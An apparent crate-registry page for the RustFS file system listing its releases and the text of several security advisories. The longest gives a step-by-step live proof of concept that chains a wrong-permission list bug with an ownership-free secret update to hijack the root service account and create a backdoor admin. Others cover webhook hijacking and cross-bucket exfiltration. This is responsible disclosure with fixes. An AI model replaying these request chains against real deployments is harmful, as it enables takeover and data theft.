rustfs

RustFS is a high-performance, distributed file system designed for modern cloud-native applications, providing efficient data storage and retrieval with advanced features like S3 Select, IAM, and policy management.

View on Cargo

Activity

Latest release: 3w ago
Total releases: 4
Cadence: ~16 days
Last 12 months: 2

Reach

Downloads: 1.2k

Details

License: Apache-2.0
First release: Jul 02, 2025

Releases

Version	Released
`1.0.1` patch	Oct 03, 2026
`1.0.0` major	Sep 17, 2026
`0.0.2` unknown 6 CVEs	Jul 02, 2025
`0.0.1` unknown 6 CVEs	Jul 02, 2025

Dependencies (164)

Depends on

1.0.1

Supply-chain exposure

Known CVEs (13)

GHSA-mm2q-qcmx-gw4w May 05, 2026

RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover

High
Network Low Low None

Summary

ListServiceAccount (GET /rustfs/admin/v3/list-service-accounts?user=<other>) authorizes cross-user requests against UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction at rustfs/src/admin/handlers/service_account.rs:936. The handler accepts the wrong admin action and rejects the correct one:

A user granted only admin:UpdateServiceAccount enumerates every service account in the cluster, including the root user's (HTTP 200, full metadata).

A user granted only admin:ListServiceAccounts — the permission name every IAM document treats as "list service accounts" — receives HTTP 403 AccessDenied on the same request.

Because service account access keys act as the identifier a UpdateServiceAccount holder needs to rotate a secret, and the UpdateServiceAccount handler at rustfs/src/admin/handlers/service_account.rs:489 performs no ownership check on the target access key, leaking those access keys lets a delegated "service account updater" role overwrite root-sa-1's secret, authenticate as the root user's service account, and create a persistent backdoor admin with admin:* + s3:*. Proven live end-to-end against rustfs/rustfs:latest (1.0.0-alpha.91, revision d4ea14c2) — the same revision is byte-identical on current origin/main.

Vulnerability Details

Package: rustfs (binary crate rustfs)

Affected versions: From 0a2411f (the initial service_account.rs check-in on 2026-03-15) through current HEAD 90e584a. The vulnerable line has never been touched.

Fixed versions: None

Vulnerable file: rustfs/src/admin/handlers/service_account.rs

Vulnerable route: GET /rustfs/admin/v3/list-service-accounts?user=<other_user> (ListServiceAccount::call)

CWE: CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management)

CVSS (demonstrated chain to full admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical. If scored as Scope:Unchanged the vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The list bug alone (no chain) is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 Medium and is what a maintainer would rate it if the Update ownership gap is out of scope for this report.

Two Distinct Vulnerabilities

This report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue:

Vulnerability A — Wrong action constant in ListServiceAccount (CWE-863) ListServiceAccount::call at line 936 checks UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion — the correct permission (admin:ListServiceAccounts) is rejected, and the wrong one (admin:UpdateServiceAccount) is accepted. Independently, this is a Medium-severity cross-user information disclosure.

Vulnerability B — Missing ownership check in UpdateServiceAccount (CWE-620) UpdateServiceAccount::call at lines 489-614 authorizes on possession of admin:UpdateServiceAccount but never verifies the target ?accessKey= belongs to the caller or the caller's parent. Lines 522-525 contain a commented-out get_service_account call that would have loaded the target for such a check. This means any holder of admin:UpdateServiceAccount can overwrite any service account's secret in the cluster, regardless of ownership.

Chain (A + B) — Full RustFS administrative takeover Vulnerability A leaks every service account's access key (including the root administrator's). Vulnerability B allows overwriting any SA's secret given its access key. Together: a user with a single permission (admin:UpdateServiceAccount) enumerates the root user's SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user's service account, and creates a persistent backdoor admin with full RustFS administrative control.

Authorization mismatch at a glance:

Exact policies attached to each test identity (retrieved from running server via GET /admin/v3/info-canned-policy):

legit-list-pol -> {"Action": ["admin:ListServiceAccounts"], "Resource": ["arn:aws:s3:::*"]} list-sa-probe-pol -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"]} list-sa-restricted -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::probe-scope/*"]} (zero-priv-user has no attached policy)

| Identity | Attached policy | GET /list-service-accounts?user=rustfsadmin | Expected | |---|---|---|---| | probe-user | list-sa-probe-pol (admin:UpdateServiceAccount) | 200 (full SA metadata) | 403 | | legit-list-user | legit-list-pol (admin:ListServiceAccounts) | 403 AccessDenied | 200 | | restricted-update-user | list-sa-restricted (admin:UpdateServiceAccount on probe-scope/*) | 200 | 403 | | zero-priv-user | (none) | 403 | 403 | | (unauthenticated) | n/a | 403 Signature required | 403 |

Why the correct permission gets 403

The handler at line 936 calls is_allowed with the action AdminAction::UpdateServiceAccountAdminAction. The IAM engine performs an exact string match between the action in the is_allowed call (admin:UpdateServiceAccount) and the action in the caller's attached policy:

legit-list-user has policy action admin:ListServiceAccounts. This does not match admin:UpdateServiceAccount. is_allowed returns false. The handler returns 403. The user who holds the correct permission for listing service accounts is denied.

probe-user has policy action admin:UpdateServiceAccount. This matches admin:UpdateServiceAccount. is_allowed returns true. The handler returns 200. The user who holds a different, unrelated permission is granted access to a list endpoint.

restricted-update-user has the same action string but resource-scoped to arn:aws:s3:::probe-scope/*. Admin-action statements skip resource matching (crates/policy/src/policy/statement.rs:132: && !self.is_admin() && !self.is_sts()), so the resource restriction is ignored and is_allowed still returns true.

There is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (crates/policy/src/policy/action.rs:459-462) with distinct strum(serialize) values. The IAM engine is working correctly; the handler passes the wrong action to it.

Raw request/response for legit-list-user (the counterintuitive 403):

GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin HTTP/1.1 Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/... HTTP/1.1 403 <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

Why this is not "working as intended":

admin:UpdateServiceAccount and admin:ListServiceAccounts are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions.

Three sibling list handlers in the same file (lines 658, 799, 1095) all check ListServiceAccountsAdminAction. Only line 936 deviates.

CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers' own precedent: ImportIam checking ExportIAMAction was rated Medium and fixed. The same class of bug applies here.

A zero-privilege user (no admin policies at all) cannot exploit either vulnerability — both handlers correctly enforce their respective is_allowed checks. The bug is that the list handler enforces the wrong action constant, not that it skips enforcement entirely.

Root Cause — Vulnerability A (Wrong Action Constant)

ListServiceAccount::call is registered for GET /rustfs/admin/v3/list-service-accounts at rustfs/src/admin/handlers/service_account.rs:137-141. The cross-user branch (entered when ?user=<x> does not match the caller) checks the wrong admin action:

// rustfs/src/admin/handlers/service_account.rs:931-953 (HEAD 90e584a, identical at d4ea14c2) let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG bucket: "", conditions: &get_condition_values(...), is_owner: owner, object: "", claims: cred.claims.as_ref().unwrap_or(&HashMap::new()), deny_only: false, }) .await { return Err(s3_error!(AccessDenied, "access denied")); } query.user.unwrap_or_default() } else if cred.parent_user.is_empty() { cred.access_key } else { cred.parent_user };

The action enum definitions are cleanly distinct at crates/policy/src/policy/action.rs:459-464:

#[strum(serialize = "admin:CreateServiceAccount")] CreateServiceAccountAdminAction, #[strum(serialize = "admin:UpdateServiceAccount")] UpdateServiceAccountAdminAction, #[strum(serialize = "admin:RemoveServiceAccount")] RemoveServiceAccountAdminAction, #[strum(serialize = "admin:ListServiceAccounts")] ListServiceAccountsAdminAction,

Every other list handler in the same file authorizes on the correct constant:

rustfs/src/admin/handlers/service_account.rs:658 InfoServiceAccount::call -> ListServiceAccountsAdminAction rustfs/src/admin/handlers/service_account.rs:799 InfoAccessKey::call -> ListServiceAccountsAdminAction rustfs/src/admin/handlers/service_account.rs:1095 ListAccessKeysBulk::call -> ListServiceAccountsAdminAction

Only ListServiceAccount::call at line 936 deviates. This is a typo/wiring error, not a design choice.

git blame shows the line has been wrong since commit 0a2411f (heihutu, 2026-03-15), the initial check-in of service_account.rs.

Root Cause — Vulnerability B (Missing Ownership Check in Update)

Service account access keys are the identifier the UpdateServiceAccount handler accepts via the ?accessKey= query string. Inspecting UpdateServiceAccount::call at rustfs/src/admin/handlers/service_account.rs:489-614:

let access_key = query.access_key; // line 509 ... if !iam_store.is_allowed(&Args { account: &cred.access_key, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), ... }).await { return Err(s3_error!(AccessDenied, "access denied")); } // line 538-559 ... let updated_at = iam_store.update_service_account(&access_key, opts).await // line 579 .map_err(...)?;

The handler authorizes on possession of admin:UpdateServiceAccount and never checks that the ?accessKey= query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out get_service_account call that would have loaded the target SA for an ownership check — it was present in the initial commit and has been commented out since:

// let svc_account = iam_store.get_service_account(&access_key).await.map_err(|e| { // debug!("get service account failed, e: {:?}", e); // s3_error!(InternalError, "get service account failed") // })?;

The inner IamSys::update_service_account at crates/iam/src/sys.rs:495-501 delegates to IamCache::update_service_account at crates/iam/src/manager.rs:663 which loads the credentials by access-key name, verifies it is a service account, and overwrites secret_key — again, no ownership check:

// crates/iam/src/manager.rs:663 pub async fn update_service_account(&self, name: &str, opts: UpdateServiceAccountOpts) -> Result<OffsetDateTime> { let Some(ui) = self.cache.users.load().get(name).cloned() else { return Err(Error::NoSuchServiceAccount(name.to_string())); }; ... let mut cr = ui.credentials.clone(); let current_secret_key = cr.secret_key.clone(); if let Some(secret) = opts.secret_key { if !is_secret_key_valid(&secret) { return Err(Error::InvalidSecretKeyLength); } cr.secret_key = secret; // <-- attacker-chosen } ...

So a holder of admin:UpdateServiceAccount who knows any service account's access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including root-sa-1.

The two bugs together form a clean chain:

Attacker has a single admin permission: admin:UpdateServiceAccount.

Attacker calls GET /v3/list-service-accounts?user=rustfsadmin — vulnerable handler grants access.

Attacker reads accessKey=root-sa-1 out of the response.

Attacker calls POST /v3/update-service-account?accessKey=root-sa-1 with body {"newSecretKey":"..."} — ownership-less handler overwrites.

Attacker authenticates as root-sa-1 with the chosen secret and inherits the root user's full admin:* + s3:* authority.

Environment and Version Alignment

Image: rustfs/rustfs:latest, digest sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a

Labels: org.opencontainers.image.version=1.0.0-alpha.91, org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37, org.opencontainers.image.build-type=prerelease

Source verification:

$ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p' let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), bucket: "", ... $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p' let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), bucket: "", ...

Byte-identical. The shipped image contains the same vulnerable handler as the tip of main.

Proof of Concept (executed live)

Environment

docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \ -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \ rustfs/rustfs:latest

Root credentials: rustfsadmin:rustfsadmin.

Step 1 — Provision the probe identity

The probe policy grants exactly one admin action, scoped to the broadest resource. Nothing else.

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"] } ] }

Creation as root:

PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol -> 200 PUT /rustfs/admin/v3/add-user?accessKey=probe-user -> 200 (secret: probe-secret1234) PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user&isGroup=false&policyName=list-sa-probe-pol -> 200 PUT /rustfs/admin/v3/add-user?accessKey=victim-user -> 200 (no policy) PUT /rustfs/admin/v3/add-service-accounts -> 200 (creates victim-sa-1 under victim-user) PUT /rustfs/admin/v3/add-service-accounts -> 200 (creates root-sa-1 under rustfsadmin)

Step 2 — Baseline: probe-user is actually constrained

Confirming probe-user is denied on unrelated admin endpoints so the "200 on list-service-accounts" is not the side effect of some ambient privilege:

GET /rustfs/admin/v3/list-users as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/info as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/list-canned-policies as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/kms/status as probe-user -> 403 AccessDenied PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/list-service-accounts as probe-user -> 200 {"accounts":[]} # self-scope OK

The self-scope list (no user= query) returns an empty array — the caller's own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only.

Step 3 — Primary exploit: enumerate other users' service accounts

GET /rustfs/admin/v3/list-service-accounts?user=victim-user as probe-user -> 200 {"accounts":[{"parentUser":"victim-user","accountStatus":"on","impliedPolicy":true,"accessKey":"victim-sa-1","name":"sa-victim-user-victim-sa-1","description":"probe target SA for user victim-user","expiration":null}]} GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as probe-user -> 200 {"accounts":[{"parentUser":"rustfsadmin","accountStatus":"on","impliedPolicy":true,"accessKey":"root-sa-1","name":"sa-rustfsadmin-root-sa-1","description":"probe target SA for user rustfsadmin","expiration":null}]}

Exposed per entry: parentUser, accountStatus, impliedPolicy, accessKey, name, description, expiration. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the accessKey — the identifier that the UpdateServiceAccount endpoint consumes via ?accessKey=.

Step 4 — Differential: the correct permission gets denied

Created legit-list-user with a policy granting only admin:ListServiceAccounts:

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["admin:ListServiceAccounts"], "Resource": ["arn:aws:s3:::*"] } ] }

Running the same request:

GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as legit-list-user -> 403 <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

This is the damning evidence of inversion. The handler refuses the correct permission (admin:ListServiceAccounts) and accepts the wrong one (admin:UpdateServiceAccount). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators admin:ListServiceAccounts to view the service account inventory — the intuitive and documented approach — will see every cross-user list request return 403 until this bug is fixed.

The resource-scoped variant gave the same result as the broad variant:

# Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA) GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as restricted-update-user -> 200 (same body as probe-user)

Resource restrictions on admin actions are skipped in crates/policy/src/policy/statement.rs:132 (&& !self.is_admin() && !self.is_sts()), so the bug is equally reachable by an operator whose admin:UpdateServiceAccount grant was scoped to a specific bucket.

And unauthenticated requests are still rejected:

GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin (no signature) -> 403 "Signature is required"

This is an authenticated privilege-boundary violation, not a pre-auth bug.

Step 4b — Zero-privilege user is correctly blocked

To confirm the bug is in the action constant (not a missing check), created zero-priv-user with no policies at all:

GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as zero-priv-user -> 403 AccessDenied POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1 as zero-priv-user -> 403 AccessDenied GET /rustfs/admin/v3/list-service-accounts as zero-priv-user -> 200 {"accounts":[]} # self-scope only

The is_allowed check at line 936 fires and correctly blocks zero-priv-user because they have no admin permissions. The bug is not that the check is skipped — it is that the check uses the wrong action constant, so it grants access to users holding admin:UpdateServiceAccount (the wrong permission) and denies users holding admin:ListServiceAccounts (the correct permission).

Step 5 — Full chain to RustFS admin takeover (persistent backdoor)

With accessKey=root-sa-1 known, probe-user (still only admin:UpdateServiceAccount) hijacks the root service account's secret:

POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1 as probe-user body: {"newSecretKey":"pwned-secret-2"} -> 204 NoContent

Then re-signs and calls admin APIs as root-sa-1/pwned-secret-2:

GET /rustfs/admin/v3/list-users as root-sa-1/pwned-secret-2 -> 200 {"svinfo-user":{"policyName":"serverinfo-only","status":"enabled",...}, "probe-user":{"policyName":"list-sa-probe-pol","status":"enabled",...}, "readonly-user":{"policyName":"readonly","status":"enabled",...}, "victim-user":{"status":"enabled",...}} GET /rustfs/admin/v3/info as root-sa-1/pwned-secret-2 -> 200 {"mode":"online","backend":{"backendType":"Erasure","online":...},"buckets":{"count":...},"services":{...}}

Both endpoints previously returned 403 for probe-user. They now succeed because root-sa-1 inherits rustfsadmin's full authority.

Extending the chain to a persistent backdoor, still driven by probe-user's hijacked root-sa-1 session:

PUT /rustfs/admin/v3/add-user?accessKey=backdoor-admin -> 200 (body: {"secretKey":"backdoor-secret-9","status":"enabled"}) PUT /rustfs/admin/v3/add-canned-policy?name=proof-admin-all -> 200 (body: admin:* + s3:*) PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=backdoor-admin&isGroup=false&policyName=proof-admin-all -> 200

Direct authentication as the new admin (no further reliance on the hijacked SA):

GET /rustfs/admin/v3/list-users as backdoor-admin/backdoor-secret-9 -> 200 (same full user dump) PUT /proof-admin-bucket as backdoor-admin/backdoor-secret-9 -> 200 (new bucket created on the S3 plane)

The attacker now owns a persistent admin identity with admin:* and s3:* that will survive secret rotations on root-sa-1. Starting identity was a user granted exactly one admin action.

Full PoC scripts

Runnable top-to-bottom against a fresh rustfs/rustfs:latest container. Each script prints raw HTTP status codes and response bodies.

poc/01_setup_probe_user.py — create policies, users, service accounts.

poc/02_baseline_probe.py — 403/200 differential on unrelated admin endpoints.

poc/03_exploit.py — primary ListServiceAccount enumeration.

poc/04_escalate_takeover.py — hijack root-sa-1 and prove admin calls.

poc/05_full_root_compromise.py — end-to-end chain including backdoor-admin creation and new bucket.

poc/06_differential_and_resource.py — legit-list-user 403 and resource-scoped 200.

Impact

Full RustFS administrative takeover (Confidentiality: High, Integrity: High, Availability: High). A user with a single admin permission (admin:UpdateServiceAccount) chains the list bug with the ownership-free UpdateServiceAccount handler to overwrite any service account's secret — including the root administrator's — and inherit full admin:* + s3:* authority over the RustFS deployment. Demonstrated live: probe-user → list → hijack root-sa-1 → create persistent backdoor-admin → create bucket.

Authorization inversion on a core admin endpoint (Integrity). Users granted the intended admin:ListServiceAccounts permission receive 403 on cross-user list requests. A rustfs deployment that issues admin:ListServiceAccounts to its operators (the obvious and documented interpretation of the action name) is silently broken until this is fixed.

Cross-user service-account inventory disclosure (Confidentiality: High). Even absent the update-ownership gap, the bug exposes every service account's access key, owning principal, name, description, account status, and expiration to any admin:UpdateServiceAccount holder. This maps the full service-account topology of the cluster and identifies which account to target for a secret rotation attack.

Resource-scoped policies provide no mitigation (Integrity). statement.rs:132 skips resource matching for admin statements, so restricting admin:UpdateServiceAccount to a specific bucket ARN (the usual pattern for bounded delegation) gives a false sense of isolation and does not reduce the blast radius of this bug.

Suggested Fix

The minimal, correct fix is a one-line change at rustfs/src/admin/handlers/service_account.rs:936:

// rustfs/src/admin/handlers/service_account.rs:936 - action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), + action: Action::AdminAction(AdminAction::ListServiceAccountsAdminAction),

This brings ListServiceAccount in line with the three sibling handlers (lines 658, 799, 1095) that correctly enforce ListServiceAccountsAdminAction, and restores the documented meaning of the admin:ListServiceAccounts permission for operators who rely on it.

Recommended follow-up (separate but related)

Even after this fix, UpdateServiceAccount::call at rustfs/src/admin/handlers/service_account.rs:489-614 will still lack any check that the target ?accessKey= belongs to the caller (or the caller's parent), so any holder of admin:UpdateServiceAccount who can otherwise obtain the access key of a higher-privileged service account can still hijack it. Consider adding an ownership precondition inside the handler before calling iam_store.update_service_account:

let target = iam_store.get_service_account(&access_key).await .map_err(|e| map_service_account_lookup_error(e, "get service account failed"))?; let caller_parent = if cred.parent_user.is_empty() { cred.access_key.as_str() } else { cred.parent_user.as_str() }; if target.0.parent_user != caller_parent && !is_owner { // Only root or the parent user should be able to mutate this SA. // (Or additionally require a dedicated admin action granted to full admins.) return Err(s3_error!(AccessDenied, "access denied")); }

This additional check closes the secret-rotation primitive for non-root holders of admin:UpdateServiceAccount. It is outside the strict scope of the line-936 typo, but the live PoC shows it is the mechanism by which information disclosure escalates to full administrative takeover, so fixing both in one advisory avoids leaving a usable primitive in place.

Self-Review

Is this by-design? No. The three sibling list handlers at lines 658, 799, and 1095 all enforce ListServiceAccountsAdminAction. The action enum has distinct admin:UpdateServiceAccount and admin:ListServiceAccounts strings with no wildcard relationship. There is no comment, test, or docstring suggesting the deviation at line 936 is intentional. CVE-2026-22042 / GHSA-vcwh-pff9-64cc (ImportIam using ExportIAMAction) is the maintainers' own precedent that this class of bug is treated as a real security issue.

Reachability? Proven live on rustfs/rustfs:latest revision d4ea14c2. Response bodies captured in the report above and in poc/ logs.

Is there upstream routing that enforces admin? No. S3Router::register dispatches directly from service_account.rs:137-141 into ListServiceAccount::call; the only authorization is the is_allowed call at line 931-953. Confirmed by the 200 return for probe-user and the 403 return for legit-list-user on the same path.

Prior art? No existing rustfs advisory covers this handler. CVE-2026-22042 is the same class of bug in a different handler; CVE-2026-22043 is a deny_only short-circuit bug in the same file but a completely different code path. Both are explicitly distinct from the line 936 typo.

Is the docker image the same code as main? Yes. Image label org.opencontainers.image.revision=d4ea14c2; git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs at lines 931-960 is byte-identical to git show origin/main:rustfs/src/admin/handlers/service_account.rs. Re-verified on 2026-04-09 at HEAD 90e584a — file unchanged since initial commit 0a2411f.

The commented-out ownership check at lines 522-525 of UpdateServiceAccount::call demonstrates the developer was aware an ownership check belonged there but left it disabled. This is not a design decision — it is incomplete implementation that this report's chain exploits.

Honest limitations:

The primary exploit requires an authenticated principal with admin:UpdateServiceAccount. It is not pre-auth.

Secret keys of the enumerated service accounts are NOT returned by the list handler (they are explicitly cleared elsewhere). Only the access key is disclosed. The escalation to RustFS admin relies on the Update path to overwrite the secret, not on reading a leaked secret.

The full administrative takeover chain depends on the separate UpdateServiceAccount ownership gap. If a reviewer considers that gap out of scope for this report, the line-936 typo on its own is best-rated as Medium cross-user information disclosure (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5). The live PoC and differential stand independent of that scoping.

The differential (legit-list-user → 403, probe-user → 200) isolates the cause to the handler's action constant and is reproducible in seconds against a fresh container.

Resources

Vulnerable file in image: rustfs/src/admin/handlers/service_account.rs @ d4ea14c2ba99602314511d5862005f7b871ece37

Vulnerable file at HEAD: rustfs/src/admin/handlers/service_account.rs @ 90e584a (file unchanged since 0a2411f)

Incorrect action at line 936: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L931-L953

Correct action at line 658 (InfoServiceAccount): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L658

Correct action at line 799 (InfoAccessKey): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L799

Correct action at line 1095 (ListAccessKeysBulk): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L1095

AdminAction enum: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/action.rs#L457-L464

UpdateServiceAccount handler (ownership gap): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L489-L614

IamCache::update_service_account: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/iam/src/manager.rs#L663

Admin statements skip resource matching: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/statement.rs#L132

rustfs security policy: https://github.com/rustfs/rustfs/security/policy

Prior art (same class, different handler): CVE-2026-22042 / GHSA-vcwh-pff9-64cc

Koda Reef

Fixed in

1.0.0-alpha.98

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-mm2q-qcmx-gw4w
https://github.com/rustfs/rustfs

Updated May 05, 2026 · Source: OSV.dev
CVE-2026-40937 GHSA-pfcq-4gjr-6gjm Apr 22, 2026

RustFS: Missing admin authorization on notification target endpoints allows unauthenticated configuration of event webhooks

8.3 / 10
High
Network Low Low None Unchanged High High Low

Missing Admin Auth on Notification Target Endpoints in RustFS

Finding Summary

All four notification target admin API endpoints in rustfs/src/admin/handlers/event.rs use a check_permissions helper that validates authentication only (access key + session token), without performing any admin-action authorization via validate_admin_request. Every other admin handler in the codebase correctly calls validate_admin_request with a specific AdminAction. This is the only admin handler file that skips authorization.

A non-admin user can overwrite a shared admin-defined notification target by name, causing subsequent bucket events to be delivered to an attacker-controlled endpoint. This enables cross-user event interception and audit evasion.

What Was Proven Live

Authorization bypass on all four endpoints (03_readonly_user_bypass.py)

PUT, GET list, GET arns, DELETE all return 200 for readonly-user

Control routes (list-users, kms/status) correctly return 403

Unauthenticated requests correctly rejected (403 Signature required)

SSRF via health probe (04_ssrf_listener_landing.py)

HEAD request from rustfs container to attacker-controlled listener

No host validation: only scheme check (http/https)

Target hijacking and event exfiltration (05_target_hijacking.py, 06_full_event_exfil.py)

Readonly-user overwrites admin-configured target URL by name

Subsequent S3 events delivered to attacker-controlled endpoint

Captured event body includes object keys, bucket names, user identities, and request metadata

Audit evasion (05_target_hijacking.py)

Readonly-user can delete unbound targets

Readonly-user can overwrite bound targets (silently redirecting events)

Escalation Vectors Tested But Not Viable

Self-referencing webhook to admin API (13_self_referencing_test.py)

Webhook sends unsigned POST with event JSON body

Admin endpoints require SigV4 auth -- unsigned request rejected

"Confused deputy" via self-referencing does NOT work

Protocol smuggling via non-HTTP targets

Only 2 target types implemented: webhook and MQTT (event.rs:613 enforces this)

No Redis, Kafka, AMQP, or other protocol targets exist

CRLF injection in webhook config fields sanitized by reqwest

MQTT uses rumqttc (pure Rust binary protocol client), no raw TCP injection

MQTT target for RCE

No unsafe code in MQTT handler

rumqttc 0.29.0 has no known public CVEs

No Command::new, template engines, or deserialization of broker responses

Unauth access

Endpoints correctly reject unauthenticated requests (403)

Endpoints correctly reject invalid credentials (403)

Prior Art

No existing advisory covers notification target endpoints. 11 published GHSAs on rustfs/rustfs cover different handlers. Closest:

CVE-2026-22042 (ImportIam wrong action constant) -- same bug class, different file

CVE-2026-22043 (deny_only short-circuit) -- different bug class

Recommendation

Submit via GitHub PVR. The finding is well-supported with live PoC, code references, and clear root cause. The fix is straightforward (add validate_admin_request calls to event.rs handlers). Core submission should reference 2-3 focused PoC scripts (readonly bypass, target hijack, event exfil), not the full set of 13 exploratory scripts.

Koda Reef

Patch

This issue has been patched in version https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94.

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-pfcq-4gjr-6gjm
https://nvd.nist.gov/vuln/detail/CVE-2026-40937
https://github.com/rustfs/rustfs
https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94

Updated May 05, 2026 · Source: OSV.dev
CVE-2026-39360 GHSA-mx42-j6wv-px98 Apr 08, 2026

RustFS has an authorization bypass in multipart UploadPartCopy enables cross-bucket object exfiltration

Medium
Network Low Low None

RustFS contains a missing authorization check in the multipart copy path (UploadPartCopy). A low-privileged user who cannot read objects from a victim bucket can still exfiltrate victim objects by copying them into an attacker-controlled multipart upload and completing the upload.

This breaks tenant isolation in multi-user / multi-tenant deployments.

Impact

Unauthorized cross-bucket / cross-tenant data exfiltration (Confidentiality: High).

An attacker with only minimal permissions on their own bucket (multipart upload + Put/Get on destination objects) can copy and retrieve objects from a victim bucket without having s3:GetObject (or equivalent) permission on the source.

In the attached PoC, the attacker successfully exfiltrates a 5MB private object and proves integrity via matching SHA256 and size.

Threat Model (Realistic)

Victim tenant/user owns a bucket (e.g., victim-bucket-*) and stores private objects (e.g., private/finance_dump.bin).

Attacker tenant/user has no permissions on the victim bucket:

cannot ListObjects, HeadObject, GetObject, or CopyObject from the victim bucket.

Attacker has minimal permissions only on attacker bucket:

CreateMultipartUpload, UploadPart, UploadPartCopy, CompleteMultipartUpload, AbortMultipartUpload,

and PutObject/GetObject for objects in attacker bucket.

Despite this, attacker can exfiltrate victim objects via multipart copy.

Root Cause Analysis

The access control layer fails open for multipart copy-related operations:

File: rustfs/src/storage/access.rs

abort_multipart_upload() returns Ok(()) without authorization (L435–437)

complete_multipart_upload() returns Ok(()) without authorization (L442–444)

upload_part_copy() returns Ok(()) without authorization (L1446–1448)

In contrast, copy_object() correctly enforces authorization:

source GetObject authorization (L469)

destination PutObject authorization (L478)

The multipart copy implementation reads the source object directly:

File: rustfs/src/app/multipart_usecase.rs

store.get_object_reader(&src_bucket, &src_key, ...) (L959–962)

Because upload_part_copy() does not enforce source GetObject authorization, the server reads and copies victim data even when the requester lacks permission.

Affected Versions

Tested vulnerable on: main @ c1d5106acc3480c275a52344df84633bb6dcd8f0

Git describe: 1.0.0-alpha.86-3-gc1d5106a

The fail-open authorization behavior for UploadPartCopy was introduced in:

